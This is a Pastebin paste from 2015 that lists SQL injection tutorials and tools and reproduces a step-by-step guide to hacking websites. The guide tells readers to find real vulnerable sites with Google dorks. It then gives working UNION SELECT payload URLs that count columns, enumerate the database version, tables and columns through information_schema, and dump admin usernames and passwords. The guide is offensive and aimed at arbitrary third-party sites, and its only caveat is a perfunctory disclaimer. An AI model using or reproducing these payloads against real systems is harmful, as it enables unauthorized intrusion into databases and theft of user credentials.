UHLI_REMO

SQL complete tutorials

Nov 13th, 2015
232
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.76 KB | None | 0 0
  1. Sql injection step by step Instruction
  2.  
  3. Sqli manual injection via Hackbar or owasp mantra:
  4.  
  5.  
  6. http://www.getmantra.com/forums/Thread-Advanced-SQL-Injection-Tutorial-Complete-website-rooting
  7.  
  8.  
  9. http://www.hackw0rm.net/2013/04/how-to-hack-website-using-sql-injection.html
  10.  
  11.  
  12. http://www.thisislegal.com/tutorials/18
  13.  
  14.  
  15. http://www.techkranti.com/
  16.  
  17.  
  18. sec4app.com/download/SQL_Injection_Tutorial.pdf
  19.  
  20.  
  21. www.exploit-db.com/download_pdf/14475/
  22.  
  23.  
  24. http://www.acunetix.com/blog/articles/video-sql-injection-tutorial/
  25.  
  26.  
  27. https://www.ibm.com/developerworks/community/blogs/81c130c7-4408-4e01-adf5-658ae0ef5f0c/entry/sql_injection_attacks_a_step_by_step_guide?lang=en
  28.  
  29.  
  30. https://evilzone .org/tutorials/full-sql-tutorial/
  31.  
  32.  
  33. http://hackarde .blogspot.com/2011/09/hello-everyone-today-post-too.html
  34.  
  35.  
  36.  
  37.  
  38. Cracker based sqli Cracker software based:
  39.  
  40.  
  41. http://www.rafayhackingarticles.net/2013/02/sql-injection-basics-union-based.html
  42.  
  43.  
  44.  
  45. Email sqli Injection:
  46.  
  47. http://www.programmerinterview.com/index.php/database-sql/sql-injection-example/
  48.  
  49.  
  50.  
  51. cheater used in asp and php sites:
  52.  
  53.  
  54. http://sqlzoo.net/hack/
  55.  
  56.  
  57. Youtube:
  58.  
  59.  
  60. http://www.youtube.com/watch?v=7H358PrFagc
  61.  
  62.  
  63. http://www.youtube.com/watch?v=fzIbCHI739s
  64.  
  65.  
  66. http://www.youtube.com/watch?v=Uu04Shwqlfo
  67.  
  68.  
  69. http://www.youtube.com/watch?v=PB7hWlqTSqs
  70.  
  71.  
  72. http://www.youtube.com/watch?v=tYD8JRG8JE4
  73.  
  74.  
  75.  
  76.  
  77. Sql Map:
  78.  
  79.  
  80. http://www.youtube.com/watch?v=lMG5_SP61t8
  81.  
  82.  
  83.  
  84. example of sqli injection manual step by step: credits from https://www.facebook.com/GirlsGetGoodMarksInComputerButBoysKnowHacking/posts/510649652305713
  85.  
  86.  
  87. How to hack Website using SQL Injection with easy Steps.
  88.  
  89.  
  90. After a long time it's my first tutorial on website hacking using
  91.  
  92. SQL Injection attack with easy and simple steps. I have seen many guys they can't understand SQL Injection method because it's really very hard to understand and Inject Malicious code into URL and get website Database, So here I created SQL Injection tutorial with easy steps and understandable, Hope you all will like it.
  93.  
  94.  
  95. ✔ What is SQL Injection ?
  96.  
  97.  
  98. SQL Injection is one the most popular Web application hacking method. In SQL Injection an attacker find website vulnerability (Vulnerability means Weakness point of website) and Inject Malicious code into URL and get Database of Website and Hack the website this is called SQL Injection attack Exploiting DB (Database) and also SQL Injection Vulnerability Exploitation.
  99.  
  100. Using SQL Injection attack method an attacker can get complete DB of website and User ID and Password can be exploded, an attacker can also Shut down My SQL Server and Server will stop working. An attacker can modify content of website and bypass login.
  101.  
  102.  
  103. ✔ Requirements :-
  104.  
  105. SQL Injection Dorks. (Click to download) Skip ad's after 5 Sec
  106.  
  107. Vulnerable Website. (Use Google to find SQL Injection Vulnerable Website)
  108.  
  109. Firefox with Hack bar add-on. (Click to download Hackbar add-on)
  110.  
  111. Little bit understanding of SQL Injection and URL
  112.  
  113. Fresh Mind to Understand it.
  114.  
  115.  
  116. ✔ Step 1. Find Vulnerable website.
  117.  
  118. An attacker always use Google, Bing or Yahoo search engine for searching SQL Injection Vulnerable websites using Dorks. (SQL Injection vulnerable URL is called Dorks which can be easily found in SQL Injection Vulnerable Website URL)
  119.  
  120.  
  121. Click here to download Huge list of SQL Injection Dorks
  122.  
  123. Search it on Google for Eg. these are few SQL Injection Vulnerable Dorks. :-
  124.  
  125. ___________
  126.  
  127. inurl:index.php?id=
  128.  
  129. inurl:gallery.php?id=
  130.  
  131. inurl:article.php?id=
  132.  
  133. inurl:pageid=
  134.  
  135. ________________
  136.  
  137. Basically I always use Google to search Vulnerable websites.
  138.  
  139.  
  140. Here, for tutorial I already have one Vulnerable website (But I can't expose it's name) In this result you will find thousands of websites, the common thing in this search result is all website URL having this type of code at it's end inurl:index.php?id=
  141.  
  142.  
  143. Yeah, Definitely it will have because this all website having DB and SQL Injection String and related to SQL Injection Dorks.
  144.  
  145.  
  146. For Eg. www.targetwebsite.com/index.php?id=8
  147.  
  148.  
  149. ✔ How to Check for Vulnerability.
  150.  
  151. Open any website URL related to SQL Injection Dorks.
  152.  
  153. Put Single Quote at the End of the website URL ( ' )
  154.  
  155. Note :- To Check the Vulnerability put sigle Quote ( ' ) at the end of the website URL and Hit Enter.
  156.  
  157. For Eg. www.targetwebsite.com/index.php?id=2'
  158.  
  159. If the page remains same or Not found then it's not vulnerable and if the page shows Error like this :-
  160.  
  161.  
  162. An error occurred...
  163.  
  164.  
  165. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''/contentPage.php?id=8''' at line 1
  166.  
  167.  
  168. An error occurred...
  169.  
  170.  
  171. You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near ''' at line 1
  172.  
  173.  
  174. This means the website is vulnerable to SQL Injection.
  175.  
  176.  
  177.  
  178. ✔ Step 2. Find the number of Columns.
  179.  
  180.  
  181. Wooo hoo hoo !! We found SQL Injection Vulnerable webstie now it's time to find no. of Columns present in the Database.
  182.  
  183.  
  184. To do that replace that one single quote ( ' ) with "Order By no." Statement until you find the Error message.
  185.  
  186. Change the no. from 1,2,3,4,5,6,7,8,9,..... Until you get an Error Message like "Unknown Column"
  187.  
  188.  
  189. For Example :- Change it's Order By 1,2,3,4 like below :-
  190.  
  191.  
  192. www.targetwebsite.com/index.php?id=8 Order by 1
  193.  
  194. www.targetwebsite.com/index.php?id=8 Order by 2
  195.  
  196. www.targetwebsite.com/index.php?id=8 Order by 3
  197.  
  198. www.targetwebsite.com/index.php?id=8 Order by 4
  199.  
  200. www.targetwebsite.com/index.php?id=8 Order by 5
  201.  
  202.  
  203. And Suppose above Method won't work then use below method :-
  204.  
  205.  
  206. www.targetwebsite.com/index.php?id=8 order by 1--
  207.  
  208. www.targetwebsite.com/index.php?id=8 order by 2--
  209.  
  210. www.targetwebsite.com/index.php?id=8 order by 3--
  211.  
  212.  
  213. If you get an Error on Order by 9 that means the DB have 8 number of Columns and If u had found error on Order by 6 then the DB have 5 number of Columns. I mean if you put Order by 12 and Suppose the DB have only 11 no. of Columns then Website will show Error like this :-
  214.  
  215.  
  216. An error occurred...
  217.  
  218. Unknown column '12' in 'order clause'
  219.  
  220. This trick is actually used to find the number of Columns in DB. Understand the Below example and you wil get to know.
  221.  
  222. www.targetwebsite.com/index.php?id=8 Order by 1 (No Error)
  223.  
  224. www.targetwebsite.com/index.php?id=8 Order by 2 (No Error)
  225.  
  226. www.targetwebsite.com/index.php?id=8 Order by 3 (No Error)
  227.  
  228. www.targetwebsite.com/index.php?id=8 Order by 4 (No Error)
  229.  
  230. www.targetwebsite.com/index.php?id=8 Order by 5 (No Error)
  231.  
  232. www.targetwebsite.com/index.php?id=8 Order by 6 (No Error)
  233.  
  234. www.targetwebsite.com/index.php?id=8 Order by 7 (No Error)
  235.  
  236. www.targetwebsite.com/index.php?id=8 Order by 8 (No Error)
  237.  
  238. www.targetwebsite.com/index.php?id=8 Order by 9 (No Error)
  239.  
  240. www.targetwebsite.com/index.php?id=8 Order by 10 (No Error)
  241.  
  242. www.targetwebsite.com/index.php?id=8 Order by 11 (No Error)
  243.  
  244. www.targetwebsite.com/index.php?id=8 Order by 12 (Error)
  245.  
  246.  
  247. Here, my Vulnerable website Showed Error on Order by 12 that means my Vulnerable website have 11 number of columns in it's DB.
  248.  
  249.  
  250. So now here I found number of columns in my DB :-
  251.  
  252.  
  253. Number of Columns = 11
  254.  
  255.  
  256. ✔ Step 3. Find the Vulnerable Column.
  257.  
  258. Basically if the website is vulnerable then it have vulnerability in it's column and now it's time to find out that column.
  259.  
  260.  
  261. Well we have successfully discovered number of columns present in Database. let us find Vulnerable Column by using the Query "Union Select columns_sequence".
  262.  
  263.  
  264. And also change the ID Value to Negative, I mean Suppose the website have this URL index.php?id=8 Change it to index.php?id=-8. Just put minus sign "-" before ID.
  265.  
  266.  
  267. For Eg. If the Number of Column is 11 then the query is as follow :-
  268.  
  269. www.targetwebsite.com/index.php?id=-8 union select 1,2,3,4,5,6,7,8,9,10,11--And Suppose above Method won't work then use below method:-www.targetwebsite.com/index.php?id=-8 and 1=2 union select 1,2,3,4,5,6,7,8,9,10,11--
  270.  
  271.  
  272. ✔ And Once if the Query has been Executed then it will display the number of Column. Yeahh.... !!
  273.  
  274.  
  275. In the Above result, I found three vulnerable Columns 2,3 and 4.
  276.  
  277.  
  278. let take 2 as our tutorial.
  279.  
  280. Well... ! We found Vulnerable Columns, Now Next Step.
  281.  
  282. ✔Step 4. Finding version, Database and User.
  283.  
  284. Now this time to find out website Database version and User
  285.  
  286. Just replace Vulnerable Column no. with "version()"
  287.  
  288.  
  289. For Eg.
  290.  
  291.  
  292. www.targetwebsite.com/index.php?id=-8 union select 1,version(),3,4,5,6,7,8,9,10,11--
  293.  
  294.  
  295. And now Hit Enter : and you will get result.
  296.  
  297.  
  298. Now again do the same replace Vulnerable column with different query like :- database(), user()For Eg.
  299.  
  300. www.targetwebsite.com/index.php?id=-8 union select 1,version(),3,4,5,6,7,8,9,10,11--
  301.  
  302. www.targetwebsite.com/index.php?id=-8 union select 1,database(),3,4,5,6,7,8,9,10,11--
  303.  
  304. www.targetwebsite.com/index.php?id=-8 union select 1,user(),3,4,5,6,7,8,9,10,11--
  305.  
  306.  
  307. And Suppose above Method won't work then use below method :-
  308.  
  309.  
  310. www.targetwebsite.com/index.php?id=-8 and 1=2 union select 1,unhex(hex(@@version)),3,4,5,6,7,8,9,10,11--
  311.  
  312.  
  313. ✔ Step 5. Finding the Table name.
  314.  
  315. Here we found vulnerable Column, DB Version name and User it's time to get Table name.
  316.  
  317. If the database version is 4 or above then you gave to guess the table names (Blind SQL Injection attack)
  318.  
  319.  
  320. Let us find now Table name of the Database, Same here Replace Vulnerable Column number with "group_concat(table_name) and add the "from information_schema.tables where table_schema=database()"
  321.  
  322.  
  323. For Eg.
  324.  
  325. www.targetwebsite.com/index.php?id=-8 union select 1,group_concat(table_name),3,4,5,6,7,8,9,10,11 from information_schema.tables where table_schema=database()--
  326.  
  327.  
  328. Now hit Enter and you can see Complete Table of Database.
  329.  
  330.  
  331. (Click on Image to Enlarge it)
  332.  
  333.  
  334. Great we found Table name now find the table name that is related to admin or user. as you can see in the above image there is one table name :- userDatabase. Let us choose that table userdatabase and Go on Next step.
  335.  
  336. ✔ Step 6. Finding the Column name.
  337.  
  338. Now same to find Column names, replace "group_concat(table_name) with "group_concat(column_name)"
  339.  
  340. and Replace the "from information_schema.tables where table_schema=database()--" with "FROM information_schema.columns WHERE table_name=mysqlchar--
  341.  
  342.  
  343. __________________________________________________________________
  344.  
  345. Note :- Do not hit Enter now.... First of all Convert
  346.  
  347. table name into Mysql Char String()
  348.  
  349.  
  350. Install the Hackbar add-on in Firefox Click here to Download
  351.  
  352.  
  353. After Installing you can see the toolbar, and if you can't then Hit F9.Select sql->Mysql->MysqlChar() in the Hackbar.
  354.  
  355.  
  356. Enter the Table name you want to convert it into Mysql Char
  357.  
  358.  
  359. Now you can see the Char like this :-
  360.  
  361.  
  362. Copy and paste the code at the end of the url instead of the "mysqlchar"
  363.  
  364.  
  365. For Eg.
  366.  
  367. www.targetwebsite.com/index.php?id=-8 union select 1,group_concat(column_name),3,4,5,6,7,8,9,10,11 FROM information_schema.columns WHERE table_name=CHAR(117, 115, 101, 114, 68, 97, 116, 97, 98, 97, 115, 101)--
  368.  
  369.  
  370. And Now Hit Enter and you will be able to see the Column names like this :-
  371.  
  372. (Click on Image to Enlarge it)
  373.  
  374.  
  375. Great Here we found Username and Password Column .
  376.  
  377.  
  378. ✔ Step 7. Explore Database & Hack it.
  379.  
  380. Cool......! now you know the next step what to do ..... get the ID and Password of Admin user using this Command into URL.Now replace group_concat(column_name) with group_concat(username,0x2a,password). or any other Column name you want to get Data.
  381.  
  382.  
  383. For Eg.
  384.  
  385. http://targetwebsite.com/index.php?id=-8 and 1=2 union select 1,group_concat(username,0x2a,password),3,4,5,6,7,8,9,10,11 from userDatabase--
  386.  
  387. If the above Command doesn't work then use Column name from first and put all Columns at one time and you will able to get complete database.
  388.  
  389.  
  390. Now find Admin page using this Method :- How to hack website using Havij.
  391.  
  392.  
  393. Disclaimer:- The Above tutorial is completely for Educational purpose only, Do not use it to hack any third party website. I'll be not responsible for any SQL Injection attack performed by any reader.
  394.  
  395.  
  396. :v :v
  397.  
  398.  
  399. Survey of best tools: top 10
  400.  
  401.  
  402. http://efytimes.com/e1/fullnews.asp?edid=132535
  403.  
  404.  
  405. Related sites: tools
  406.  
  407.  
  408. https://addons.mozilla.org/en-US/firefox/addon/hackbar/
  409.  
  410.  
  411. https://www.getmantra.com/download.html
  412.  
  413.  
  414. http://sourceforge.net/projects/witool/
  415.  
  416.  
  417. http://sqlninja.sourceforge.net/
  418.  
  419.  
  420. https://hackingheart.wordpress.com/2013/02/15/best-sql-injection-tool/
  421.  
  422.  
  423. https://code.google.com/p/jsql-injection/
  424.  
  425.  
  426. http://www.darknet.org.uk/2011/12/the-mole-automatic-sql-injection-sqli-exploitation-tool/
  427.  
  428.  
  429. http://www.itsecteam.com/products/havij-advanced-sql-injection/
  430.  
  431.  
  432. http://egodox.blogspot.com/2013/04/the-best-sql-injection-tools.html
  433.  
  434.  
  435. http://hack-tools.blackploit.com/2014/06/the-mole-automatic-sql-injection.html
Add Comment
Please, Sign In to add comment